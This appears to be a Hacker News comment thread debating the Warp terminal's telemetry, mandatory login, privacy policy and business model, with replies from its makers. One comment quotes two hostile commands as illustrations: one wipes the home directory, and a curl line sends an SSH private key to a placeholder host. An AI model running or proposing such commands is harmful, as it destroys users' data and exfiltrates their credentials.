If the code is there, it is potentially exploitable. So, opt out is nowhere near good enough. If it can send to remote hosts, this can be abused. This capability should not be there, at all.

Look at the recent logging fiasco for an example.


> If it can send to remote hosts, this can be abused.

A useful terminal cannot be prevented from contacting remote hosts.


You may be conflating programs running in a terminal and the terminal itself. We've managed to get this far without the latter.


I am not conflating the two. If the terminal can run programs connected to the internet, then the terminal has internet connectivity. The host system would not be able to tell the difference.

Warp could certainly promise not to include any phone-home functionality in their code, but unless it's open-source and everything is audited, it could easily call the host system's HTTP client and still phone home.


> If the terminal can run programs connected to the internet, then the terminal has internet connectivity.

Is this true? This sounds wrong to me but I don't know the inner workings of terminals. The terminal just executes programs and handles pipes it seems. A terminal can be completely walled from the internet, and when you execute something from it, say, curl, then curl has it's own memory space and access layer outside the terminal, and just has it's stdio wired to the terminal.


> The terminal just executes programs and handles pipes it seems. A terminal can be completely walled from the internet, and when you execute something from it, say, curl, then curl has it's own memory space and access layer outside the terminal, and just has it's stdio wired to the terminal.

As I said in my comment, even if you "wall" the terminal off from the internet, if it can make system calls on behalf of the user, it can still access the internet.

If a terminal has sufficient access to the host system to call `curl https://www.google.com` on behalf of the user, then it can call it without any user input.

There is nothing on the host machine that can authenticate system calls coming from the terminal application as "user-initiated" or not. This is similar to the warning that "you can't trust the client"[1].

1. https://security.stackexchange.com/questions/105389/dont-tru...


You're technically correct here due to some sloppy words, but this isn't the point that everyone here is trying to make. We know our terminals can connect to the internet, we don't want them to do that without being instructed to. If our terminals randomly curl'd websites (as opposed to delivering telemetry to a 3rd party), I'm sure the discussion would be similarly displeased.


And what I'm saying is that there's no way to set a terminal's permissions on the host system such that it can access the internet on behalf of the user but cannot access the internet on behalf of its creators.

This is a human problem, not a software one. Your terminal is as trustworthy as its creators. It cannot be locked down to prevent telemetry and still be a useful terminal. That was my original point and it is still true.

No one should use a for-profit terminal emulator, especially one created by a VC-backed startup, full stop.


or

they actually listen to our feedback, remove forced telemetry, remove sign-in in the next release, then i'd be more happy to give their product another chance

although no guarantee they'll not turn evil at some point in the future...


Profit motive means that even if they do that now, they're incentivized to collect data in the future. From the standpoint of investors, leaving that revenue stream on the table would be dumb, considering every other company in tech spaces draws revenue from collecting their customers' data.

If a company is committed to never spying, then they'd have no problem making such terms contractually binding on their end. Companies that say they're against spying, but leave the option to collect their users' data open for the future, aren't really committed to not spying.


If they start out evil, then don't expect them to change.


Wanting to collect usage information and errors isn't evil-by-default. It's incomparably useful for troubleshooting and improving. Absolutely nothing works better, it's the best by a ridiculously large margin.

But yeah, terminals are very sensitive environments, opt-in should be a default even at launch.


> Absolutely nothing works better, it's the best by a ridiculously large margin.

Is this really the case? It seems that to find mistakes in software for various interaction patterns, truly exhaustive automated tests would likely work far better by various measures (coverage, reliability, reproducibility, reusability etc.) and at the same time do not have the extreme downside of privacy invasion. For example, see a section from the Age of Empires Post Mortem https://www.gamedeveloper.com/pc/the-game-developer-archives... :

"8. We didn’t take enough advantage of automated testing. In the final weeks of development, we set up the game to automatically play up to eight computers against each other. Additionally, a second computer containing the development platform and debugger could monitor each computer that took part. These games, while randomly generated, were logged so that if anything happened, we could reproduce the exact game over and over until we isolated the problem. The games themselves were allowed to run at an accelerated speed and were left running overnight. This was a great success and helped us in isolating very hard to reproduce problems. Our failure was in not doing this earlier in development; it could have saved us a great deal of time and effort. All of our future production plans now include automated testing from Day One."


Automated tests are completely useless for finding (let alone solving) human interaction issues. To compare them with telemetry is a category error.


Shouldn't human interaction errors be left up to the user to report, as opposed to software sending sensitive information to a third-party?


No data on this but instinctively it seems, given alternatives, most people abandon some buggy software rather than patiently reporting problems and waiting for it to get better.


Yeah. User reporting has a very obvious and very strong survivorship bias. Plus the people who take the time to send in a report are a rather small niche, so you have pretty strong bias even if you exclude people who leave.

Always-on metrics are massively higher quality data. They don't collect the same kind of data in many cases, but they can reveal a lot of things that never get reported. They also don't suffer from the well-established pattern of people not accurately reporting their own behavior when asked / polled (stronger when asking about future behavior, but it applies in all cases).


In production, agreed. In beta, I’ll accept it. I feel that the term beta gets abused a lot, but in what I believe is it’s proper meaning, there are a lot of inherent factors both parties are agreeing to; increased risk of error and data loss, and debugging flags that generate more data for the singular purpose of improving the product. That’s exactly what should be in the privacy policy and explicitly stated upon install. Anything short of that puts me firmly in the hell-no category with you.


With you here on this. Telemetry is a really important concern and I get why people don't like it, but fundamentally the expectations on a beta product surely have to be different in that. The thing is still in development. T


I'm with you on not sending data, but have you ever read user reports? IF you get any (most won't report) they likely won't have enough information to reproduce or fix.

Automated Error reporting does has it uses.


It is evil by default. Paying beta testers, or giving them a free, opt-in version with telemetry is the ethical route. Being ridiculously, over the top clear about exactly what you snarf off the end user is the ethical route.

You are not entitled to access my machine, and that shouldn't be casually dismissed with "don't worry, we're not doing anything bad." You're creating potential vulnerabilities, and by implementing identifiable patterns, reducing the security of your users.

You shouldn't spy on people, and when you do, it's wrong. Remotely inspecting people's behavior is spying.

Your software doesn't need to phone home. It doesn't need automatic updates. You don't need to spy on people to develop good software. That's toxic nonsense.


Ethical telemetry really in my view should:

- be opt-in

- provide an easy to read & access log which can be reviewed by the user at any point

- never collect unnecessary information 'just because' it might be useful in the future

- should provide a very good detailed analysis of any claims to anonymity

If something doesn't even fulfil the first criterion, it's probably violating all the others too.


Telemetry is just the cheapest and most convenient option for business owners, and not necessarily the best option when it comes to improving customer value and experiences.

Case studies, focus groups, surveys and interviews are great ways to determine usage patterns and problems with products and services. Of course, you'd need to pay users to participate in them, and then you need to pay expensive employees to conduct, collect and analyze the results. Spying is cheaper than doing any of that.


I appreciate the balanced, reasonable discussion.

I agree both that telemetry is useful and that there's not necessarily a place for it in the tool I use to manage my workstation and hundreds of servers. Perhaps I'd opt in to a middle ground, that is collect telemetry locally into a support file I can review, evaluate, and potentially redact before submission.


> Absolutely nothing works better, it's the best by a ridiculously large margin.

Then why is the telemetry-encrusted modern Windows a usability fail, even compared to past versions of Windows which relied on extensive in-house user testing?


Because telemetry is used to maximize profit and not to maximize value for users.


Because power users turn off telemetry where they can which means they only see telemetry from "normal users".

That's my theory anyway.


You can’t turn telemetry off in windows. Your choices are “full telemetry” and “less telemetry”


Having data available doesn't mean using it to do anything useful.

As evidence of this, I offer: the vast majority of all human behavior over literally all time.


Usually the practice in these scenarios is to try out all possible ways to make out money and then go a little backwards once the public outcry is big enough. At some point you find the most profitable balance situation, before you have expelled all customers.


There is a plethora of free GPU-accelerated terminals. Alacritty, kitty, foot, wezterm, etc. None of these as far as I know send telemetry data. I see no reason to think that a new terminal is going to make money somehow by finding a balance.


My comparison was about business models of these "evil" cases in general, not about terminals particularly. On general, free apps tends to need find a balance how much users can tolerate their "exploitation" and how much they get from the app, if the app maker wants to make some money.

I don't personally see any reason to swap terminal with telemetry. One of my worst fears that some day I am forced to.


> remove forced telemetry, remove sign-in in the next release

Then why would anybody bother to invest in their next series?


because they have a growing number of paying customers.


They have a complete telemetry section on their website where it also states that no input or output data is collected.


the problem with telemetry data is that sometimes you can accidentally collect sensitive data without realising it. i know one library on iOS was collecting the coordinates of all touch events. however, that meant it was collecting the coordinates of all touches on the keyboard which made it possible to reconstruct user input into password fields.


You’re right about there being a problem with it.

Which library was/is doing this? Would like to avoid it.


Which is worth nothing if it can't be examined and verified (not to mention it can change with any release).


As the author of the post (and founder of the company), I think this is also a very reasonable concern. It's one that we have as well and that we take very seriously.

Our stance here is that:

1) We are very explicit about what gets sent (only telemetry and crash reporting) and you can see the full list of telemetry events here (https://docs.warp.dev/getting-started/privacy#exhaustive-tel...)

2) For collaborative features like block-sharing (e.g. https://app.warp.dev/block/tbxmeAKsj657aHkPdHpmoY) it's completely opt-in

However, I do believe pretty deeply that every app has the potential to be much more powerful if it leverages the internet and I think the terminal is not an exception. I stand by that but get that it's a paradigm shift.

Please keep the feedback coming though - it's helpful to understand how you think about it.


> However, I do believe pretty deeply that every app has the potential to be much more powerful if it leverages the internet and I think the terminal is not an exception.

But that’s exactly it. A lot of people on here, including me, do not agree that _every_ app has that potential. In fact many believe that internet connected apps are unnecessary for many things. There is strong evidence against this if you just look at the number of “secure” systems that have been hacked over the decades. While you may capture a large audience with your internet-first terminal “app”, who honestly don’t care about this stuff while at work, you will get pushback from HN and somewhat+ privacy concerned devs.


Then maybe Warp is not the right terminal for you? It is ok if other people like Warp for what it is.

Here's another rust based terminal you can check out: https://github.com/alacritty/alacritty


As a user, I can see the potential, sure. But it's not realized in any way. Right now this terminal uses Internet only for collecting my data (GitHub account, telemetry, and more).

The value proposition is negative. A paradigm shift, sure, but IMO in wrong direction.


This was my first concern as well. I don't want my terminal to be a startup.


> I expect my terminal to be a much more secure environment than my web browser.

Wat? Your terminal is 1000x less secure than your browser. Your terminal can do `rm -rf ~/`. your terminal can run `curl -F 'data=@~/.ssh/id.rsa' https://bad.com` and that just 2 of 1000s.

JS on your browser can do none of those.

Maybe you meant to say you want apps running from the terminal to not phone home but nothing in the terminal prevents that.


That's security vs. safety. You're pointing out that a terminal allows the user to do perform actions that could be unsafe. These actions or JS in the browser are a security risk because they can perform actions without the user's awareness or consent.


nonsense. The terminal is a place that you run software. Every piece of software you run in the terminal can do all kinds of nasty things to your system and steal info

the browser is also a place to run software. There, that software can not do anything to your system nor can it steal any data


> Your terminal can do `rm -rf ~/`. your terminal can run `curl -F 'data=@~/.ssh/id.rsa' https://bad.com` and that just 2 of 1000s.

You'll be warned if you do the first, and plenty of people are phished via browsers.


>You'll be warned if you do the first.

I don't think so. I dare you to run it.


I'm not sure I'm ready to have SaaS models replace core utilities and tools locally.

> Announcing Warp’s Series A: $17M to build a better terminal

And just thinking about this... it's not clear to me what their moat will be as I suspect if there's a really compelling feature it will be available in OSS terminals quite quickly. Perhaps it's the product polish? But I'm not sure polish is what I want from a terminal, at least... it's not the top thing I want .


I wondered the same. Then I realized it sends out requests to googleapis, segment, and sentry. Imagine having data on every dev's terminal workflow? Ca$h.


Sounds more like a good way to get your product banned from a lot of workplaces.


A lot of workplaces don't even bother to ban grammarly, which is literally a keylogger*, this won't even be on their radar.

* I feel compelled to point out that Grammarly disagree with this definition because it doesn't send every single keystroke, just the ones in non-password text boxes.


Is grammarly not correct here?


If my plugin Passwordly, only sends the keystrokes inside password boxes, is or isn't that a key logger? It's only capturing a subset of your input, like Grammarly, so not a keylogger?

If the argument is, it's not a keylogger because it's not logging sensitive information, well I type plenty of sensitive information into non-password textboxes.


I’d say passwordly also isn’t a key logger. By your definition every text editor would be a key logger. That may be the strict definition of a key logger but the commonly accepted meaning is different. A keylogger logs all keys regardless of the app being used or general use case. Often they are malicious as well but that doesn’t have to be the case.


I doubt their compelling features will be in OSS terminals any time soon. I’ve wanted a terminal that has a decent multi line editor for years, and there’s nothing out there.


Vim supports multiline editing and I'd imagine emacs does as well. In bash/zsh, <ctrl-x ctrl-e> opens up $EDITOR so you can use whatever you're accustomed to anyhow.

Most of these features are already available if one spends a bit of time configuring their terminal/shell.


Is multiline editing popular/useful? Thus far, the only occasions I've seen it shown is when someone is demonstrating it.


I use the visual-multi plugin [0] all day in vim/neovim.

I don't like using tons of plugins but multi cursor with with selective invocation like the ctrl-d of sublime etc was the main thing I missed when moving to vim. (I use visual block mode too but it's not the same thing).

https://github.com/mg979/vim-visual-multi.git


I'd say so, I find myself using it somewhat regularly.

It's pretty easy in vim once you learn how to use visual block mode. That or using Sed to replace text in a selection or the entire file.

http://paulrougieux.github.io/vim.html#Edit_multiple_lines


They are very useful! As a long time Vim user who switched to Kakoune[0] a while back, I didn't even realize I needed a good multiline cursor from my editor before it tried Kakoune. Highly recommend it!

[0] https://kakoune.org/


If you need to pass lots of arguments to a command it's super useful. Typically I don't do this because it's quite unwieldly with a standard readline editor, but I could if multiline editing was available!


Put `set -o vi` in your .bashrc

That's all you need - you don't need a whole program that collects all of your information.


I use it not infrequently for crafting big ol bash pipelines to put into scripts, specifically via emacs’ `shell` terminal emulator.


Thank you for sharing this tip ^_^


While this can be done in zsh/bash, it takes investment to understand how to use multiline specifically. And then once you leave the terminal, the same keystroke does not do anything for you.

One of Warp is that you don't have to think twice about it because it behaves similarly to text fields everywhere else on your computer.

In the terminal, I often have the feeling that personal computing revolution from Xerox PARC & Apple Computer never happened.


This works in everything that uses libreadline to accept user input (unless the binary has specifically configured library differently iiuc), so should work in all shell-like interfaces. You can customize the shortcuts in inputrc, likewise, for all libreadline-using binaries. By default, readline tries to be emacs-like. You can ask it to be vi-like, or reconfigure lots of its shortcuts to be similar to an editor you like. To be fair, "escape to real editor" is not a thing you usually do in an editor, so that will remain special.


This stuff has been in the major shells for years, through excellent editor integration. For emacs and vi it's pretty much free. If you want to integrate with a different editor, it's totally doable.

Most of the stuff sibling comment is referring to center around the feature:

'edit-and-execute-command' in bash. There is a similar incantation for zsh.

I summon it with, 'ESC v' in both.


If I open an editor then my scrollback history isn't visible (or is in a separate window). Maybe vim and emacs offer this, but that's a big commitment just for a terminal. Warp has GUI-grade editing (mouse support, etc) with things like multiple cursors in a very nice interface.


Ctrl-z will put Vim to sleep. You can look at the history and then type `fg` to bring the Vim back to the foreground.


In emacs a shell is like a text buffer where you can simply search or move around as you would do in a text file. To get command history you'd just execute `history` and then ctrl+s (find) it, or move to it with the cursor.


So does Emacs. I kind of assume vim and neovim do too, these days.


Normally I would pull the command I need multi-line editing for back from shell history, using the search operator '!' and print predicate ':p' before invoking bash's 'edit-and-execute-command' on it. I suppose while in the editor then I might need history again, but I can't recall it being an issue.


Three words for 2 tests regarding these features:

1. discoverability

2. wide spread use.

Bash and zsh fail both tests.


I love how my previous comment is downvoted with no answer by I assume bash and zsh fanboys when these kinds of features are barely used by users, because they can't be easily found.

Use something like fish to see what real feature discoverability for a shell looks like.

And I say this as a zsh user that has waded through the mountains of obscure documentation to set it up. Don't fall into Stockholm syndrome and think that if you went through hardship, others should, too.

99% of bash/zsh discussion threads are someone going: "here is awesome feature I found" (where frequently that feature is something that should have been painfully obvious to notice) and then 100 replies: "that's so cool and useful, I never knew about it and I've been using bash/zsh for N > 5 years".


I have no idea who downvoted you or why they did so. I'm seeing your reply for the first time. From what I can see, our priorities in our tools are different. Discoverability and widespread use of particular features are not near the top of my list. I have read the bash manual. For the tools I use most, I've found it to be a good investment, that has paid me great dividends.


> a terminal that has a decent multi line editor for years

You can use ctrl-x ctrl-e in most terminals.

https://unix.stackexchange.com/questions/85391/where-is-the-...


>You can use ctrl-x ctrl-e in most terminals.

Shells, not terminals.


In Bash:

    C-x C-e
This opens $EDITOR, and when you finish editing and close it, it runs the code.


haha well "decent" is in the eye of the beholder, I'd argue that vim is not only "decent" but by far the best general purpose IDE available.


> I’ve wanted a terminal that has a decent multi line editor for years, and there’s nothing out there.

You can go the other direction.

Install neovim. Run `:terminal`. optionally run `:help Terminal-mode` first so you can figure out how to get out.


Doesn't `set -o vi` do this for you? Place it in .bashrc and you're good to go.

It's great to use this with awesomewm for windows management, and vimium for browser control. Then you can develop in vim, bash in vim, browse in vim, and switch windows with vim. You don't have to learn 10 different, unintuitive, and ridiculous hotkeys for each different program or level.


I use pretty out of the box zsh with vi-mode and it... just works for multiline editing? I can simply move down and up with j/k...


It depends how you define multiline but check out: https://github.com/jart/bestline


Multiline works out of box in fish shell. I'm not sure how terminal is relevant here.


Terminals are largely owned by graybeard maintainers that aren’t interested in innovating the Unix command line. This is not a difficult change.


> I'm not sure I'm ready to have SaaS models replace core utilities and tools locally.

This isn't something you can ever be ready for. It's so completely and obviously wrong. Just say no.


The moat would be if teams depend on it for sharing workflows. Doing "teams" right on OSS is tricky, much easier to pull off in SaaS.


Warp engineer here.

FWIW, the Warp terminal will be free for individuals. We would never charge for anything a terminal currently does. So no paywalls around SSH or anything like that. The types of features we could eventually charge for are team features.

Our bet is that the moat is going to be the team features, like:

- Sharing hard-to-remember workflows

- Wikis and READMEs that run directly in the terminal

- Session sharing for joint debugging

Our bet is their companies are willing to pay for these. BTW, even these team features will likely be free up to some level of usage and only charged in a company context.


> The types of features we could eventually charge for are team features.

You can probably maximize community acceptance if you provide clients that do not use these features as actual FOSS and only start incorporating closed-source pieces for those features. With things like client keys etc to restrict server access.

A bit like the Chrome/Chromium thing was intended initially.


> - Sharing hard-to-remember workflows

Those get codified into ansible and deployed on CI/CD pipelines. This is an anti-feature. The day that someone suggests using a terminal to manage hard-to-remember workflows is the day I start a huge crusade to fix whatever process led to introducing yet another tool.


> - Sharing hard-to-remember workflows = Make better scripts and put in CI

> - Wikis and READMEs that run directly in the terminal No thank you

> - Session sharing for joint debugging = That's more for development.. not for shell access

> Our bet is their companies are willing to pay for these. BTW, even these team features will likely be free up to some level of usage and only charged in a company context.

I actually don't want them. I migrated from many apps that do too much to apps that do one thing really well.


What would be the advantage over version controlled shell scripts?


(Not affiliated with Warp but care about this particular thing)

Shell scripts implies, well, a particular shell. If everyone is on similar OSes, maybe that works for you, but as a Windows user, "pile of bash scripts" might as well be "doesn't work for you." I use a terminal for my daily work, but don't have bash installed on my machine.

That said, I haven't tried Warp yet specifically because it's Mac-only right now. Even within that context, Warp integrates with Bash, Zsh, or Fish, which do have their own extensions to POSIX shell, but at least you can rely on Bash being installed.


That would also now force everyone to use this proprietary product instead of whatever they're familiar with.

For mac <-> linux, posix-compliant scripts mostly work in my experience but you have to account for different versions of gnu utils. For linux <-> windows, if it's small you could just write a powershell script, or use something like python on both, no?

I fail to see how these features are nice enough to force people to use a proprietary terminal that, for now, is compatible with existing bash/zsh shells.


Yes, that is true, but it does seem like that's what their strategy is. If you're using these collaboration tools at your job, you'd have to be using the product already. So that's less of a problem than it would be for say, scripts included with some sort of open source project.

My point is mostly that shell isn't cross-platform, and this is one way you could address that. But it's not a generalized solution, absolutely.

(and yeah, something like Python is better than trying to keep multiple of the same scripts in different languages, for sure. You can do it if you wanted though, if they're small and you're willing to commit to it, I'm not sure I've ever seen it really pulled off.)


>shell isn't cross-platform

basically every operating system has a posix shell by default except windows, but it has been ported there multiple times, samba existed for decades and WSL is on the rise. It may sound a little more irritating but they deserve it for still running windows :p /hj (besides you can just host an ssh server)


I mean, I could also tell you "Just download and run PowerShell, it's ported to Linux", but you also know that would make you feel like a second-class citizen, because you know it's not something as good as something that actually works on your platform in a real sense.


Nix(OS) already solves this problem.


I cannot use Nix on my platform, and I’m not changing OSes.


Which platform do you use?


Why would it be easier to port Warp to a new system compared to Bash, Python, Perl, etc.? These tools are widely used to automate workflows and are already ported to any system you would probably care to develop on.


You aren't the one porting Warp, but you are the one porting the shell script.


So programs/workflows written in Warp will be portable without much effort, in some way that an equivalent shell or python script isn't? Why do you think that?


It seems like you’re grouping a bunch of things together and saying I have opinions about them that I don’t. Let’s break them out:

workflows I would assume to be portable, yes. It is an assumption. I generally expect program configuration to be mostly cross platform by default.

I’m not sure what a program written for a particular terminal would be, so I’m not sure if I’d assume portability or not.

Shells are not ubiquitous, even if they are available across platforms technically.

Python is truly cross platform and largely ubiquitous.


Ok, maybe I misunderstand what a "workflow" is. Since we are talking about replacing shell scripts with "workflows", I assumed that they are a kind of programming facility of about similar power as shell scripts. But that may be incorrect.

> You aren't the one porting Warp, but you are the one porting the shell script.

It sounds like your are saying somthing like "Warp scripts/workflows require almost no effort to port, compared to the shell scripts they replace". I was interested to learn how this can be the case. Perhaps my interpretation was wrong.


I may also be too; like I said, I haven't used Warp yet. Just read their docs. "Workflows" are described in their docs as effectively 'aliases with better docs that integrate with a search bar', and are defined in a YAML file. They don't actually show said YAML file, so I don't know how complex they are. If they give you the full power of the underlying shell, then yeah, you're back at the exact same problem, but if it's stuff like "invoke this program with this set of arguments," which is what their examples seem like, then I'd expect it to work with any shell as long as that program is installed.

> Perhaps my interpretation was wrong.

And perhaps mine is. The docs aren't in-depth and I don't own a Mac. But really, ultimately, "are workflows more portable" isn't a question I personally am wed to; it's that "shell scripts are only portable via UNIXes and there's a much bigger world out there" that I am, and I am hoping that workflows are more portable than shell scripts. In practice, they may be, or they may not be, but since they're in a layer above the shell, it's possible that they're not shell-specific.


Thats a good question. In the end Warp programs/scripts will be written in just yet another interpreted language.


That's a great question! Version controlled shell scripts are very useful (and in fact workflows in Warp can also be version controlled) but they still have a few problems: 1) Documentation--when a repo has a lot of shell scripts, it can be very difficult to know which command to run in certain situations. Even if each shell script has documentation, there's no way to find that documentation natively from the terminal itself. 2) Searching--you can only execute commands from the terminal based on the shell script name but there's no easy way to search for a script based on _what_ it does or any other metadata.


> - Wikis and READMEs that run directly in the terminal

Nushell can open READMEs natively and can admittedly work with Wikis through a plugin.


$3.99/mo for the Pro plan let's you run as many concurrent processes as you want!


It's just.. an incredibly bad look to have this be the top comment on a post about this while the website claims that "cloud stuff" is opt-in.

It's more essential to be honest about this during the beta period than after, so "oh it will be opt in" is a cold comfort, alongside the approximately never-true "we'll open source it some day."

Not touching this with a ten foot pole. Not for something as essential to my day to day work as a terminal.


Further down in the thread, they claim that Warp is nearly as fast as Alacritty. Then a user points out that it isn't even close and their response is basically, yeah, we know that. We want to fix it.

How does a company expect lying on HN to work out well for them? I'm sure they're doing their best, and are excited about their launch. But they are coming off as so shady because they're trying to fool people.


If they really wanted to be open source but don't accept contributions at the time, setting up a read only minor with a proper FOSS license will be a good way to do that.


We tried to be really upfront in the privacy policy:

https://www.warp.dev/privacy

Opt-in refers to anything that sends any contents of a terminal session to our servers (as opposed to telemetry which is metadata and never contains any terminal input or output). But we hear the feedback and appreciate it.


At issue here is your front page, which says:

"Private & Secure: All cloud features are opt-in. Data is encrypted at rest."

While you might have some wiggle room to say that telemetry is not a "cloud feature", logging in with github is absolutely a cloud thing and it's not really opt-in if you can't use the software without literally identifying yourself to a cloud service.

You should at the very least remove that text from your front page until you're out of beta and it's actually true.

And that's ignoring the fact that there's no victory in splitting hairs over the definition of cloud stuff to pretend you're not walking a very fine line.


Zach, this telemetry approach is fine for Google Docs retail users but Warp's target customers are some of the tech savviest people on the planet. They are going to hold Warp to much higher standards of security and privacy.

Second, your user onboarding has too much friction with mandatory Github logins. You need an advisor / product manager who can guide you better when making these "human" decisions.


Yikes!

Because you posted directly to HN and clearly want to show this audience the value of your work, I expected a somewhat different reply to this critique.

A more user-centered reply might have been to say you understand the confusion and will look into making this truly opt-in with the team. I think the strong message you're getting from this community—who is, after all, your target audience—is that before sending any data (whether you choose to label it telemetry, tracking, diagnostic data, or otherwise), you should explicitly ask in the terminal itself whether the user finds this acceptable.

I don't want to put down an effort with seemingly good intentions like this one, so please take this engagement in the spirit it was given.


That doesn't fit people's normal expectations. You're being intentionally deceptive.


> Opt-in refers to anything that sends any contents of a terminal session to our servers

There shouldn’t even be the option to opt-in to something so privacy violating.

Having built-in sending of session content means dangerous data exfiltration is always just one bug or accidental click away.


I was confused by your wording, but I think this section of the link is very relevant:

>When Warp comes out of beta, telemetry will be opt-in and anonymous.

>But for our beta phase, we do send telemetry by default and we do associate it with the logged in user because it makes it much easier to reach out and get feedback when something goes wrong.


I highly doubt anyone reads that. I think the only way to be up-front about it is to have an annoying pop-up that with a button that says "OK YOU CAN SEND TELEMETRY" that must be clicked before proceeding.

To be fair, I think HN is a collection of outliers when it comes to caring about network activity caused by running programs. Most devs will probably just be happy that the tool provides a lot of value.


Wrong crowd for this approach, I think.


If you really wanted to be open source but don't accept contributions at the time, setting up a read only minor with a proper FOSS license will be a good way to do that.


Do you believe your policy is GDPR compliant?


No way this is GDPR compliant. A mandatory Github login sends data to US servers. Even with the normal additional standard contract clauses it is at least disputed, if this holds any grounds in a CJEU trial.

Twilio, the owner of Segment.io is also a US company and will receive individual-related telemetry data, which should break with GDPR.


As the author of the post, I think this is totally reasonable feedback and something we have discussed quite a bit on the team.

The general stance on telemetry that we have is that a) we are just starting and it's really helpful to see which of our product ideas are useful to our users (e.g. does anyone use AI Command Search? Should we continue to invest in it) b) we tried to be very explicit about what we are and are not sending - it is only metadata and never command input or output (you can see the full list of events we track here: https://docs.warp.dev/getting-started/privacy#exhaustive-tel... c) if you aren't comfortable with telemetry, then please don't use the product just yet - we will make telemetry opt-in when we have a large enough sample size that we can be confident extrapolating what's going on

For googleapis - this is for login. We use firebase as our auth provider.

For segment - this is for temeletry, as you point out.

For sentry - this is for crash reporting.

As for why we have accounts, it's because we are starting to add features for teams and it's important in that context that there is some type of identity associated with the user.

But like I said at the start - the feedback is totally reasonable and we are trying to figure out how to balance concerns here while still being in a good place to iterate on and improve the product.


As a Sentry user (for a web app where people are not placing sensitive IP!) - it is INCREDIBLY easy for it to be configured to suck up massive amounts of PII and sensitive IP in the context of its crash reports. If I am running `kubectl create secret --from-literal` and something crashes, can you guarantee that the contents of that command will not be loaded into Sentry? Breaching this guarantee would be as simple as having some code somewhere in your stack (including a parsing library) format an Error with the command contents, miles away from anything Sentry-specific.

I'd be much more trustful of your product (and indeed, I do desperately need a better terminal!) if you were to:

- make Sentry crash reporting opt-in (or at the very least have a popup that occurs with the content of what will be sent to Sentry before anything is sent to Sentry), AND

- clarify in your event telemetry documentation, and explicitly in your Privacy Policy, that ONLY the event ID/name, timing, and the user ID are sent to Segment, nothing else.

But I simply cannot use a terminal where my keystrokes might be logged to anyone's Sentry or Segment account - even if it were our company's own Sentry account. The risk of partner-entrusted credential leakage into an insecure environment is simply too high.


> - make Sentry crash reporting opt-in (or at the very least have a popup that occurs with the content of what will be sent to Sentry before anything is sent to Sentry), AND

100% this. I don't entirely understand why Warp needs to connect to Sentry right at application launch. If it crashes, capture that crash and present me an opportunity to report it or not. If I do agree to report it, first present me the complete text of everything that will be reported.

I understand that this puts some hurdles in the way of getting crash reports. But terminals frequently contain information far too sensitive to trust with these things being automated.


Is this answer minimizing a bit?

You can use the Firebase login tools without the person identification stuff pulled in. Note that for companies failing to do this in a privacy respecting way, a savvy user can usually get granular at the firewall and get the login to work without the audience reporting. Which means you could…

Similarly, in my book, segment.io isn’t just “telemetry” so much as it’s killer feature of cross app audience persona correlation, so less about what’s up with the app, more trying to learn more about the users without asking them. If you were instrumenting the app UX and not trying to see who is using you, there are other choices.

A number of ways to do accounts that can leverage a person’s own IdP or other approaches where you don’t have to have accounts, e.g. most any channel the team or group can access will do to get in sync on a session start.

Regardless, and even if GitHub and e.g GitHub Orgs are your way, all of them should be optional since not everyone is desperate to team their cli.

Last, and sorry to put it like this, if you’ve “discussed it quite a bit” as a team, I’m not sure but maybe that gives me less confidence in your respect for security, privacy, and users.

I’d imagine that deliberate discussion backed by respect for your users and team know-how should have resulted in a different set of choices.


Is login and authentication really necessary? No internet -> no terminal?

Even VScode a massive Microsoft project does not require signup/authentication to use it...

Love the design, but seems like a very enterprise-driven and niche product for a lot of developers


> Warp is a blazingly fast, rust-based terminal reimagined from the ground up to work like a modern app.

Well, at least they didn't lie.

As of my personal position: I want less products in my computing environments, not more. I hope more people would ponder on possible ramifications of going in the opposite direction.


I'm not sure I care very much about which piece of software is a "product" or not (I have no qualms with devs asking for money), but I definitely agree that calling a piece of software "modern" actually carries negative connotations nowadays. I think most would agree that apps developed within the last 4 years are often more resource-intensive and slower than the equivalents from 15+ years ago.

Warp looks really cool as a tool and I intend to try it as soon as it's available on Linux, but it was pretty bold of them to include outgoing network requests by default before presenting directly to HN. I saw the post about "everything is opt in, where 'everything' means 'sending terminal contents'" - as if people read privacy policies before trying out a new dev tool.


We exists, but it's complicated. A complete solution has more edge cases than what "stacks" have tools to work with. My gut feeling is that the contemporary approach to solving information problems is crazy nonsense. I'm working on something to prove myself wrong. If I'm not I'll make something available for a fee


Yeah. From a developer standpoint my terminal is the one sacred thing i have still. Im unfortunately not using something that is going to randomly break or make external calls every time I open it.

Looks cool but I will never even give this a try.


I nearly also used the word “sacred” in my comment above.

I gave up MacOS for Linux because I felt like Apple wasn’t letting me operate my own computer anymore. Even Ubuntu has eroded the transparency and control I have over my computer over the last decade, at least that’s my perception.

I feel like the only part of my computer that I understand anymore is what happens in the terminal.

I don’t categorically hate having magic happen on some remote server that makes computing easier for me in some way… but I really need to have a space that I understand and control and — over time — that place has slowly been compressed into the command line.


> Wanted to give it a shot but got disappointed when I launched it and the following happened

Yup, well, that's what happens when you take money from VCs or other third party investors, you need to monetise / demonstrate ROI / need numbers for your investor slide-decks.

I'll stick to my old-fashioned spyware free terminal thanks very much. Why overcomplicate things that don't need to be complicated.


Yep. In my last project one of the key USPs was privacy. The product vision was built around it and it was fundamental to our positioning in the market.

But I made the mistake of letting investors share executive control of the company, and pop there goes the pro-privacy policy.

In defence of founders everywhere, however, I will say that the investors didn’t just say “no”. They strung me along for almost a year, insisting we would be meeting about it, recording decisions where we apparently agreed, even pointing out those decisions while they flagrantly violated them in practice.

So who knows what’s happened here. A lot of the messaging sounds like what happened to me. “Yes we know privacy is important and in the future mumble mumble.”


Yea, I would never use a terminal that does any of that. If you want logging and crash reports, use Breakpad or something similar to send the crash report after a crash. No need to have telemetry reports going all the time.


In addition to crashes, we also want to know things like: which features people are using so we can invest more in them, how much people are using the app so we know if we're doing in a good job.

Totally understand if you're not comfortable with that though! It will be removed when Warp is out of the beta test.


I know it sounds logical to you, but the further down that road you go the worse your software will be in the end. Make software with a coherent vision and you can pick and choose features based on how will they fit that vision without needing to spy on your users, or turn it into a popularity contest.

Incidentally, you might be interested to know that in the last 8 hours my comment has gotten 25 upvotes; that’s a lot of lost customers.


> Incidentally, you might be interested to know that in the last 8 hours my comment has gotten 25 upvotes; that’s a lot of lost customers.

No, that's a lot of people who upvoted your comment.

I'd wager anyone who agrees with your perspective is unlikely to have been a Warp customer in the first place.

(Speaking as one who tends towards your side of this discussion.)


I don’t mean that my comment cost them customers, only that the upvotes on my comment measures the customers they had already lost by using pervasive telemetry.


I doubt that even a plurality of the people who upvoted you would have installed Warp and wound up paying for it.


I hate telemetry driven development.

It just results in loosing infrequently used but important features. First it gets moved from a button to a menu, then to a sub-menu and eventually removed.


